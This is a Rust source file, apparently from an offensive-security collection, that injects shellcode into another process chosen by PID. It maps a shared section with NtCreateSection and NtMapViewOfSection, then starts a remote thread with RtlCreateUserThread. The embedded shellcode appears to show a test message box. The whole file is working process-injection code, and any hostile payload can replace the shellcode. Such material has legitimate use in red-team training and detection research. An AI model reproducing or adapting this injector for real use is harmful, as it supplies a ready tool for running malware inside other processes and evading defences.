/*
    Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread.
    Source:  
        https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
    
    By @5mukx
 */
use std::ffi::c_void;
use std::ptr::null_mut;
use std::io::Error;
use std::process::exit;
use winapi::shared::basetsd::SIZE_T;
use winapi::um::processthreadsapi::{OpenProcess, GetCurrentProcess};
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
use winapi::um::winnt::{HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, SEC_COMMIT};
use winapi::shared::minwindef::{ULONG, DWORD};
use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS};

#[repr(C)]
#[allow(non_snake_case)]
struct UNICODESTRING {
    Length: u16,
    MaximumLength: u16,
    Buffer: *mut u16,
}

#[repr(C)]
#[allow(non_snake_case)]
struct OBJECTATTRIBUTES {
    Length: ULONG,
    RootDirectory: HANDLE,
    ObjectName: *mut UNICODESTRING,
    Attributes: ULONG,
    SecurityDescriptor: *mut c_void,
    SecurityQualityOfService: *mut c_void,
}

type MyNtCreateSection = unsafe extern "system" fn(
    section_handle: *mut HANDLE,
    desired_access: ULONG,
    object_attributes: *mut OBJECTATTRIBUTES/*OBJECT_ATTRIBUTES*/,
    maximum_size: *mut LARGE_INTEGER,
    page_attributes: ULONG,
    section_attributes: ULONG,
    file_handle: HANDLE,
) -> NTSTATUS;

type MyNtMapViewOfSection = unsafe extern "system" fn(
    section_handle: HANDLE,
    process_handle: HANDLE,
    base_address: *mut *mut c_void,
    zero_bits: usize,
    commit_size: SIZE_T,
    section_offset: *mut LARGE_INTEGER,
    view_size: *mut SIZE_T,
    inherit_disposition: DWORD,
    allocation_type: ULONG,
    win32_protect: ULONG,
) -> NTSTATUS;

type MyRtlCreateUserThread = unsafe extern "system" fn(
    process_handle: HANDLE,
    security_descriptor: *mut c_void,
    create_suspended: bool,
    stack_zero_bits: ULONG,
    stack_reserved: *mut ULONG,
    stack_commit: *mut ULONG,
    start_address: *mut c_void,
    start_parameter: *mut c_void,
    thread_handle: *mut HANDLE,
    client_id: *mut CLIENTID,
) -> NTSTATUS;


#[repr(C)]
#[allow(non_snake_case)]
struct CLIENTID {
    UniqueProcess: *mut c_void,
    UniqueThread: *mut c_void,
}


fn main(){
    let args: Vec<String> = std::env::args().collect();

    if args.len() != 2{
        println!("Usage: process.exe <PID>");
        exit(1);
    }

    let target_pid = args[1].parse::<u32>().expect("Enter Valid PID");

    let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
    ];  



    unsafe{
        let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
        if h_ntdll.is_null() {
            eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error());
            exit(1);
        }

        let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtCreateSection\0".as_ptr() as *const i8));
        let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtMapViewOfSection\0".as_ptr() as *const i8));
        let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress(h_ntdll, b"RtlCreateUserThread\0".as_ptr() as *const i8));
    
        // section creation setup
        let mut section_handle: HANDLE = null_mut();
        
        let mut section_size: LARGE_INTEGER = std::mem::zeroed();
        *section_size.QuadPart_mut() = 4096 as i64;
        
        let desired_access = winapi::um::winnt::SECTION_MAP_READ | winapi::um::winnt::SECTION_MAP_WRITE | winapi::um::winnt::SECTION_MAP_EXECUTE;
        
        let status = nt_create_section(
            &mut section_handle,
            desired_access,
            null_mut(),
            &section_size as *const _ as *mut LARGE_INTEGER,
            PAGE_EXECUTE_READWRITE,
            SEC_COMMIT,
            null_mut(),
        );

        if status < 0{
            eprintln!("[-] NtCreateSection failed with status: {:X}", status);
            exit(1);
        }

        let mut local_section_address: *mut c_void = null_mut();
        let mut view_size = 4096;

        let status = nt_map_view_of_section(
            section_handle,
            GetCurrentProcess(),
            &mut local_section_address,
            0,
            0,
            null_mut(),
            &mut view_size,
            2,
            0,
            PAGE_READWRITE,
        );

        if status < 0 {
            eprintln!("NtMapViewOfSection (local) failed with status: {:X}", status);
            exit(1);
        }

        // create a view of the section in the target process
        let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
        if target_handle.is_null() {
            eprintln!("OpenProcess failed: {:?}", Error::last_os_error());
            exit(1);
        }

        let mut remote_section_address: *mut c_void = null_mut();
        let status = nt_map_view_of_section(
            section_handle,
            target_handle,
            &mut remote_section_address,
            0,
            0,
            null_mut(),
            &mut view_size,
            2,
            0,
            PAGE_EXECUTE_READ,
        );
        if status < 0 {
            eprintln!("NtMapViewOfSection (remote) failed with status: {:X}", status);
            CloseHandle(target_handle);
            exit(1);
        }

        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), local_section_address as *mut u8, shellcode.len());

        let mut target_thread_handle: HANDLE = null_mut();
        let status = rtl_create_user_thread(
            target_handle,
            null_mut(),
            false,
            0,
            null_mut(),
            null_mut(),
            remote_section_address,
            null_mut(),
            &mut target_thread_handle,
            null_mut(),
        );
        if status < 0 {
            eprintln!("RtlCreateUserThread failed with status: {:X}", status);
        }

        CloseHandle(target_handle);
        if !target_thread_handle.is_null() {
            CloseHandle(target_thread_handle);
        }
    }
}




